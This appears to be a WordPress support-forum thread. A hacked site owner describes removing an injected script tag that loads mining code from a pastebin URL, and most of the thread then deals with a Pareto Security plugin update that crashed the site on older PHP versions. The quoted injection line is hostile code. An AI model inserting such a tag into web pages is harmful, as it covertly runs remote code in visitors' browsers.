Finally got hacked :( Oh no!!!

Actually there is still malicious piece of mining code on that page.

Yeah my php skills are not quite that good and i’m literally manually deleting <script type='text/javascript' src="https://pastebin.com/raw/RNsgLpRs"></script> from all posts. It’s gonna be a loooong job!!

If you have had experience exporting databases, sometimes thats the easier way. Export it, edit out the malware code, import back in. Not so easy to do when its a large database though.

So my site was all working fine for the last 4 days and then @te_taipo your Pareto Security plugin had an update which has crashed the site:

Fatal error: Can't use function return value in write context in /home/bjwokco/public_html/wp-content/plugins/pareto-security/pareto_functions.php on line 1058

When updating the plugin through the prompt within WP it returns this error: Update Failed: Internal Server Error

What are your recommendations to resolve this issue?

Looks like something that affects older versions of PHP. I will push out an update in a few minutes to address this.

hmmm, I cannot access my site at all now, not through cpanel or even FTP.

Looks like WordPress repository is down, I will try push out this update shortly. In the meantime yes if you can FTP in, just delete the plugin. The update will fix this issue.

No, I cannot access anything to do with my site since this error. What did your plugin update do??

Update: I got in through my hosting provider and removed your plugin. All working again as before.

Just pushed out an update that addresses older versions of PHP, this should correct that issue.

Ok re-installed a fresh install and set back to Advanced mode. All working as it was before ??

Cheers mate!

Ok, have pushed out another update since then, found some more issues with other versions of PHP. 1.9.4 is the current stable version.

No, that’s the one I got from the fresh install: 1.9.4 ??
